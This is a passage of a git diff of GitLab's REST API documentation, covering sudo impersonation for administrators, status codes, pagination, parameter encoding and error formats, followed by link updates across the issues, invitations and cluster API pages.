+access token that has the `sudo` scope. The API requests are executed with the
+permissions of the impersonated user.
+
+As an [administrator](../user/permissions.md), pass the `sudo` parameter either
+by using query string or a header with an ID or username (case insensitive) of
+the user you want to perform the operation as. If passed as a header, the header
+name must be `Sudo`.
+
+If a non administrative access token is provided, GitLab returns an error
+message with a status code of `403`:
+
+```json
+{
+ "message": "403 Forbidden - Must be admin to use sudo"
+}
+```
+
+If an access token without the `sudo` scope is provided, an error message is
+be returned with a status code of `403`:
+
+```json
+{
+ "error": "insufficient_scope",
+ "error_description": "The request requires higher privileges than provided by the access token.",
+ "scope": "sudo"
+}
+```
+
+If the sudo user ID or username cannot be found, an error message is
+returned with a status code of `404`:
+
+```json
+{
+ "message": "404 User with ID or username '123' Not Found"
+}
+```
+
+Example of a valid API request and a request using cURL with sudo request,
+providing a username:
+
+```plaintext
+GET /projects?private_token=<your_access_token>&sudo=username
+```
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects"
+```
+
+Example of a valid API request and a request using cURL with sudo request,
+providing an ID:
+
+```plaintext
+GET /projects?private_token=<your_access_token>&sudo=23
+```
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects"
+```
+
+## Status codes
+
+The API is designed to return different status codes according to context and
+action. This way, if a request results in an error, you can get
+insight into what went wrong.
+
+The following table gives an overview of how the API functions generally behave.
+
+| Request type | Description |
+|---------------|-------------|
+| `GET` | Access one or more resources and return the result as JSON. |
+| `POST` | Return `201 Created` if the resource is successfully created and return the newly created resource as JSON. |
+| `GET` / `PUT` | Return `200 OK` if the resource is accessed or modified successfully. The (modified) result is returned as JSON. |
+| `DELETE` | Returns `204 No Content` if the resource was deleted successfully. |
+
+The following table shows the possible return codes for API requests.
+
+| Return values | Description |
+|--------------------------|-------------|
+| `200 OK` | The `GET`, `PUT` or `DELETE` request was successful, and the resource(s) itself is returned as JSON. |
+| `204 No Content` | The server has successfully fulfilled the request, and there is no additional content to send in the response payload body. |
+| `201 Created` | The `POST` request was successful, and the resource is returned as JSON. |
+| `304 Not Modified` | The resource hasn't been modified since the last request. |
+| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. |
+| `401 Unauthorized` | The user isn't authenticated. A valid [user token](#authentication) is necessary. |
+| `403 Forbidden` | The request isn't allowed. For example, the user isn't allowed to delete a project. |
+| `404 Not Found` | A resource couldn't be accessed. For example, an ID for a resource couldn't be found. |
+| `405 Method Not Allowed` | The request isn't supported. |
+| `409 Conflict` | A conflicting resource already exists. For example, creating a project with a name that already exists. |
+| `412` | The request was denied. This can happen if the `If-Unmodified-Since` header is provided when trying to delete a resource, which was modified in between. |
+| `422 Unprocessable` | The entity couldn't be processed. |
+| `429 Too Many Requests` | The user exceeded the [application rate limits](../administration/instance_limits.md#rate-limits). |
+| `500 Server Error` | While handling the request, something went wrong on the server. |
+
+## Pagination
+
+GitLab supports the following pagination methods:
+
+- Offset-based pagination. This is the default method and is available on all endpoints.
+- Keyset-based pagination. Added to selected endpoints but being
+ [progressively rolled out](https://gitlab.com/groups/gitlab-org/-/epics/2039).
+
+For large collections, for performance reasons we recommend keyset pagination
+(when available) instead of offset pagination.
+
+### Offset-based pagination
+
+Sometimes, the returned result spans many pages. When listing resources, you can
+pass the following parameters:
+
+| Parameter | Description |
+|------------|-------------|
+| `page` | Page number (default: `1`). |
+| `per_page` | Number of items to list per page (default: `20`, max: `100`). |
+
+In the following example, we list 50 [namespaces](namespaces.md) per page:
+
+```shell
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/namespaces?per_page=50"
+```
+
+#### Pagination `Link` header
+
+[`Link` headers](https://www.w3.org/wiki/LinkHeader) are returned with each
+response. They have `rel` set to `prev`, `next`, `first`, or `last` and contain
+the relevant URL. Be sure to use these links instead of generating your own URLs.
+
+For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers).
+
+In the following cURL example, we limit the output to three items per page
+(`per_page=3`) and we request the second page (`page=2`) of [comments](notes.md)
+of the issue with ID `8` which belongs to the project with ID `9`:
+
+```shell
+curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2"
+```
+
+The response is:
+
+```http
+HTTP/2 200 OK
+cache-control: no-cache
+content-length: 1103
+content-type: application/json
+date: Mon, 18 Jan 2016 09:43:18 GMT
+link: <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="prev", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="next", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="first", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="last"
+status: 200 OK
+vary: Origin
+x-next-page: 3
+x-page: 2
+x-per-page: 3
+x-prev-page: 1
+x-request-id: 732ad4ee-9870-4866-a199-a9db0cde3c86
+x-runtime: 0.108688
+x-total: 8
+x-total-pages: 3
+```
+
+#### Other pagination headers
+
+GitLab also returns the following additional pagination headers:
+
+| Header | Description |
+|-----------------|-------------|
+| `x-next-page` | The index of the next page. |
+| `x-page` | The index of the current page (starting at 1). |
+| `x-per-page` | The number of items per page. |
+| `X-prev-page` | The index of the previous page. |
+| `x-total` | The total number of items. |
+| `x-total-pages` | The total number of pages. |
+
+For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers).
+
+### Keyset-based pagination
+
+Keyset-pagination allows for more efficient retrieval of pages and - in contrast
+to offset-based pagination - runtime is independent of the size of the
+collection.
+
+This method is controlled by the following parameters:
+
+| Parameter | Description |
+|--------------| ------------|
+| `pagination` | `keyset` (to enable keyset pagination). |
+| `per_page` | Number of items to list per page (default: `20`, max: `100`). |
+
+In the following example, we list 50 [projects](projects.md) per page, ordered
+by `id` ascending.
+
+```shell
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc"
+```
+
+The response header includes a link to the next page. For example:
+
+```http
+HTTP/1.1 200 OK
+...
+Links: <https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc&id_after=42>; rel="next"
+Link: <https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc&id_after=42>; rel="next"
+Status: 200 OK
+...
+```
+
+WARNING:
+The `Links` header is scheduled to be removed in GitLab 14.0 to be aligned with the
+[W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link`
+header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714)
+and should be used instead.
+
+The link to the next page contains an additional filter `id_after=42` that
+excludes already-retrieved records. The type of filter depends on the
+`order_by` option used, and we may have more than one additional filter.
+
+When the end of the collection is reached and there are no additional
+records to retrieve, the `Link` header is absent and the resulting array is
+empty.
+
+We recommend using only the given link to retrieve the next page instead of
+building your own URL. Apart from the headers shown, we don't expose additional
+pagination headers.
+
+Keyset-based pagination is supported only for selected resources and ordering
+options:
+
+| Resource | Order |
+|-------------------------|-------|
+| [Projects](projects.md) | `order_by=id` only. |
+
+## Path parameters
+
+If an endpoint has path parameters, the documentation displays them with a
+preceding colon.
+
+For example:
+
+```plaintext
+DELETE /projects/:id/share/:group_id
+```
+
+The `:id` path parameter needs to be replaced with the project ID, and the
+`:group_id` needs to be replaced with the ID of the group. The colons `:`
+shouldn't be included.
+
+The resulting cURL request for a project with ID `5` and a group ID of `17` is then:
+
+```shell
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17"
+```
+
+Path parameters that are required to be URL-encoded must be followed. If not,
+it doesn't match an API endpoint and responds with a 404. If there's
+something in front of the API (for example, Apache), ensure that it doesn't decode
+the URL-encoded path parameters.
+
+## Namespaced path encoding
+
+If using namespaced API requests, make sure that the `NAMESPACE/PROJECT_PATH` is
+URL-encoded.
+
+For example, `/` is represented by `%2F`:
+
+```plaintext
+GET /api/v4/projects/diaspora%2Fdiaspora
+```
+
+A project's _path_ isn't necessarily the same as its _name_. A project's path is
+found in the project's URL or in the project's settings, under
+**General > Advanced > Change path**.
+
+## File path, branches, and tags name encoding
+
+If a file path, branch or tag contains a `/`, make sure it is URL-encoded.
+
+For example, `/` is represented by `%2F`:
+
+```plaintext
+GET /api/v4/projects/1/repository/files/src%2FREADME.md?ref=master
+GET /api/v4/projects/1/branches/my%2Fbranch/commits
+GET /api/v4/projects/1/repository/tags/my%2Ftag
+```
+
+## Request Payload
+
+API Requests can use parameters sent as [query strings](https://en.wikipedia.org/wiki/Query_string)
+or as a [payload body](https://tools.ietf.org/html/draft-ietf-httpbis-p3-payload-14#section-3.2).
+GET requests usually send a query string, while PUT or POST requests usually
+send the payload body:
+
+- Query string:
+
+ ```shell
+ curl --request POST "https://gitlab/api/v4/projects?name=<example-name>&description=<example-description>"
+ ```
+
+- Request payload (JSON):
+
+ ```shell
+ curl --request POST --header "Content-Type: application/json" \
+ --data '{"name":"<example-name>", "description":"<example-description"}' "https://gitlab/api/v4/projects"
+ ```
+
+URL encoded query strings have a length limitation. Requests that are too large
+result in a `414 Request-URI Too Large` error message. This can be resolved by
+using a payload body instead.
+
+## Encoding API parameters of `array` and `hash` types
+
+You can request the API with `array` and `hash` types parameters:
+
+### `array`
+
+`import_sources` is a parameter of type `array`:
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+-d "import_sources[]=github" \
+-d "import_sources[]=bitbucket" \
+"https://gitlab.example.com/api/v4/some_endpoint"
+```
+
+### `hash`
+
+`override_params` is a parameter of type `hash`:
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+--form "namespace=email" \
+--form "path=impapi" \
+--form "file=@/path/to/somefile.txt"
+--form "override_params[visibility]=private" \
+--form "override_params[some_other_param]=some_value" \
+"https://gitlab.example.com/api/v4/projects/import"
+```
+
+### Array of hashes
+
+`variables` is a parameter of type `array` containing hash key/value pairs
+`[{ 'key': 'UPLOAD_TO_S3', 'value': 'true' }]`:
+
+```shell
+curl --globoff --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+"https://gitlab.example.com/api/v4/projects/169/pipeline?ref=master&variables[][key]=VAR1&variables[][value]=hello&variables[][key]=VAR2&variables[][value]=world"
+
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+--header "Content-Type: application/json" \
+--data '{ "ref": "master", "variables": [ {"key": "VAR1", "value": "hello"}, {"key": "VAR2", "value": "world"} ] }' \
+"https://gitlab.example.com/api/v4/projects/169/pipeline"
+```
+
+## `id` vs `iid`
+
+Some resources have two similarly-named fields. For example, [issues](issues.md),
+[merge requests](merge_requests.md), and [project milestones](merge_requests.md).
+The fields are:
+
+- `id`: ID that is unique across all projects.
+- `iid`: Additional, internal ID (displayed in the web UI) that's unique in the
+ scope of a single project.
+
+If a resource has both the `iid` field and the `id` field, the `iid` field is
+usually used instead of `id` to fetch the resource.
+
+For example, suppose a project with `id: 42` has an issue with `id: 46` and
+`iid: 5`. In this case:
+
+- A valid API request to retrieve the issue is `GET /projects/42/issues/5`.
+- An invalid API request to retrieve the issue is `GET /projects/42/issues/46`.
+
+Not all resources with the `iid` field are fetched by `iid`. For guidance
+regarding which field to use, see the documentation for the specific resource.
+
+## Data validation and error reporting
+
+When working with the API you may encounter validation errors, in which case
+the API returns an HTTP `400` error.
+
+Such errors appear in the following cases:
+
+- A required attribute of the API request is missing (for example, the title of
+ an issue isn't given).
+- An attribute did not pass the validation (for example, the user bio is too
+ long).
+
+When an attribute is missing, you receive something like:
+
+```http
+HTTP/1.1 400 Bad Request
+Content-Type: application/json
+{
+ "message":"400 (Bad request) \"title\" not given"
+}
+```
+
+When a validation error occurs, error messages are different. They hold
+all details of validation errors:
+
+```http
+HTTP/1.1 400 Bad Request
+Content-Type: application/json
+{
+ "message": {
+ "bio": [
+ "is too long (maximum is 255 characters)"
+ ]
+ }
+}
+```
+
+This makes error messages more machine-readable. The format can be described as
+follows:
+
+```json
+{
+ "message": {
+ "<property-name>": [
+ "<error-message>",
+ "<error-message>",
+ ...
+ ],
+ "<embed-entity>": {
+ "<property-name>": [
+ "<error-message>",
+ "<error-message>",
+ ...
+ ],
+ }
+ }
+}
+```
+
+## Unknown route
+
+When you attempt to access an API URL that doesn't exist, you receive a
+404 Not Found message.
+
+```http
+HTTP/1.1 404 Not Found
+Content-Type: application/json
+{
+ "error": "404 Not Found"
+}
+```
+
+## Encoding `+` in ISO 8601 dates
+
+If you need to include a `+` in a query parameter, you may need to use `%2B`
+instead, due to a [W3 recommendation](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html)
+that causes a `+` to be interpreted as a space. For example, in an ISO 8601 date,
+you may want to include a specific time in ISO 8601 format, such as:
+
+```plaintext
+2017-10-17T23:11:13.000+05:30
+```
+
+The correct encoding for the query parameter would be:
+
+```plaintext
+2017-10-17T23:11:13.000%2B05:30
+```
+
+## Clients
+
+There are many unofficial GitLab API Clients for most of the popular programming
+languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/technology-partners/#api-clients).
+
+## Rate limits
+
+For administrator documentation on rate limit settings, see
+[Rate limits](../security/rate_limits.md). To find the settings that are
+specifically used by GitLab.com, see
+[GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits).
+
+## Content type
+
+The GitLab API supports the `application/json` content type by default, though
+some API endpoints also support `text/plain`.
+
+In [GitLab 13.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/250342),
+API endpoints do not support `text/plain` by default, unless it's explicitly documented.
diff --git a/doc/api/instance_clusters.md b/doc/api/instance_clusters.md
index 1c4996975f7..ae94fdb137c 100644
--- a/doc/api/instance_clusters.md
+++ b/doc/api/instance_clusters.md
@@ -160,7 +160,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- |
| `name` | string | yes | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/gitlab_managed_clusters.md#base-domain) of the cluster |
| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` |
| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` |
@@ -228,7 +228,7 @@ Parameters:
| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ |
| `cluster_id` | integer | yes | The ID of the cluster |
| `name` | string | no | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/gitlab_managed_clusters.md#base-domain) of the cluster |
| `environment_scope` | string | no | The associated environment to the cluster |
| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
| `enabled` | boolean | no | Determines if cluster is active or not |
diff --git a/doc/api/invitations.md b/doc/api/invitations.md
index 36ff2d5bda4..c79295912fa 100644
--- a/doc/api/invitations.md
+++ b/doc/api/invitations.md
@@ -37,7 +37,7 @@ POST /projects/:id/invitations
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `email` | string | yes | The email of the new member or multiple emails separated by commas |
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format YEAR-MONTH-DAY |
@@ -84,7 +84,7 @@ GET /projects/:id/invitations
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `page` | integer | no | Page to retrieve |
| `per_page`| integer | no | Number of member invitations to return per page |
| `query` | string | no | A query string to search for invited members by invite email. Query text must match email address exactly. When empty, returns all invitations. |
@@ -121,9 +121,9 @@ PUT /projects/:id/invitations/:email
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `email` | string | yes | The email address to which the invitation was previously sent. |
-| `access_level` | integer | no | A valid access level (defaults: `30`, developer access level). |
+| `access_level` | integer | no | A valid access level (defaults: `30`, the Developer role). |
| `expires_at` | string | no | A date string in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`). |
```shell
@@ -151,7 +151,7 @@ DELETE /projects/:id/invitations/:email
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `email` | string | yes | The email address to which the invitation was previously sent |
```shell
diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md
index 4dfa9b2f532..d4f59d10316 100644
--- a/doc/api/issue_links.md
+++ b/doc/api/issue_links.md
@@ -22,7 +22,7 @@ Parameters:
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```json
@@ -74,9 +74,9 @@ POST /projects/:id/issues/:issue_iid/links
| Attribute | Type | Required | Description |
|---------------------|----------------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
-| `target_project_id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) of a target project |
+| `target_project_id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) of a target project |
| `target_issue_iid` | integer/string | yes | The internal ID of a target project's issue |
| `link_type` | string | no | The type of the relation ("relates_to", "blocks", "is_blocked_by"), defaults to "relates_to"). |
@@ -162,7 +162,7 @@ DELETE /projects/:id/issues/:issue_iid/links/:issue_link_id
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
| `issue_link_id` | integer/string | yes | The ID of an issue relationship |
| `link_type` | string | no | The type of the relation (`relates_to`, `blocks`, `is_blocked_by`), defaults to `relates_to` |
diff --git a/doc/api/issues.md b/doc/api/issues.md
index f321c00e7f2..6de8912c1af 100644
--- a/doc/api/issues.md
+++ b/doc/api/issues.md
@@ -4,7 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Issues API
+# Issues API **(FREE)**
+
+Interact with [GitLab Issues](../user/project/issues/index.md) using the REST API.
If a user is not a member of a private project, a `GET`
request on that project results in a `404` status code.
@@ -14,7 +16,7 @@ request on that project results in a `404` status code.
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
WARNING:
The `reference` attribute in responses is deprecated in favor of `references`.
@@ -266,7 +268,7 @@ GET /groups/:id/issues?state=opened
| `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `due_date` | string | no | Return issues that have no due date, are overdue, or whose due date is this week, this month, or between two weeks ago and next month. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
| `issue_type` | string | no | Filter to a given type of issue. One of `issue`, `incident`, or `test_case`. _(Introduced in [GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/260375))_ |
| `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ |
@@ -470,7 +472,7 @@ GET /projects/:id/issues?state=opened
| `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `due_date` | string | no | Return issues that have no due date, are overdue, or whose due date is this week, this month, or between two weeks ago and next month. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
| `issue_type` | string | no | Filter to a given type of issue. One of `issue`, `incident`, or `test_case`. _(Introduced in [GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/260375))_ |
| `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ |
@@ -822,7 +824,7 @@ GET /projects/:id/issues/:issue_iid
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -990,7 +992,7 @@ POST /projects/:id/issues
| `due_date` | string | no | The due date. Date time string in the format `YYYY-MM-DD`, for example `2016-03-11` |
| `epic_id` **(PREMIUM)** | integer | no | ID of the epic to add the issue to. Valid values are greater than or equal to 0. |
| `epic_iid` **(PREMIUM)** | integer | no | IID of the epic to add the issue to. Valid values are greater than or equal to 0. (deprecated, [scheduled for removal in API version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157)) |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iid` | integer/string | no | The internal ID of the project's issue (requires administrator or project owner rights) |
| `issue_type` | string | no | The type of issue. One of `issue`, `incident`, or `test_case`. Default is `issue`. |
| `labels` | string | no | Comma-separated label names for an issue |
@@ -1160,7 +1162,7 @@ PUT /projects/:id/issues/:issue_iid
| `due_date` | string | no | The due date. Date time string in the format `YYYY-MM-DD`, for example `2016-03-11` |
| `epic_id` **(PREMIUM)** | integer | no | ID of the epic to add the issue to. Valid values are greater than or equal to 0. |
| `epic_iid` **(PREMIUM)** | integer | no | IID of the epic to add the issue to. Valid values are greater than or equal to 0. (deprecated, [scheduled for removal in API version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157)) |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
| `issue_type` | string | no | Updates the type of issue. One of `issue`, `incident`, or `test_case`. |
| `labels` | string | no | Comma-separated label names for an issue. Set to an empty string to unassign all labels. |
@@ -1307,7 +1309,7 @@ DELETE /projects/:id/issues/:issue_iid
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1326,7 +1328,7 @@ PUT /projects/:id/issues/:issue_iid/reorder
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of the project's issue |
| `move_after_id` | integer | no | The ID of a project's issue that should be placed after this issue |
| `move_before_id` | integer | no | The ID of a project's issue that should be placed before this issue |
@@ -1350,7 +1352,7 @@ POST /projects/:id/issues/:issue_iid/move
| Attribute | Type | Required | Description |
|-----------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
| `to_project_id` | integer | yes | The ID of the new project |
@@ -1496,7 +1498,7 @@ POST /projects/:id/issues/:issue_iid/subscribe
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1641,7 +1643,7 @@ POST /projects/:id/issues/:issue_iid/unsubscribe
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1714,7 +1716,7 @@ POST /projects/:id/issues/:issue_iid/todo
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1838,7 +1840,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :---------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
| `body` | String | yes | The content of a note. Must contain `/promote` at the start of a new line. |
@@ -1889,7 +1891,7 @@ POST /projects/:id/issues/:issue_iid/time_estimate
| Attribute | Type | Required | Description |
|-------------|---------|----------|------------------------------------------|
| `duration` | string | yes | The duration in human format. e.g: 3h30m |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1917,7 +1919,7 @@ POST /projects/:id/issues/:issue_iid/reset_time_estimate
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1946,7 +1948,7 @@ POST /projects/:id/issues/:issue_iid/add_spent_time
| Attribute | Type | Required | Description |
|-------------|---------|----------|------------------------------------------|
| `duration` | string | yes | The duration in human format. e.g: 3h30m |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
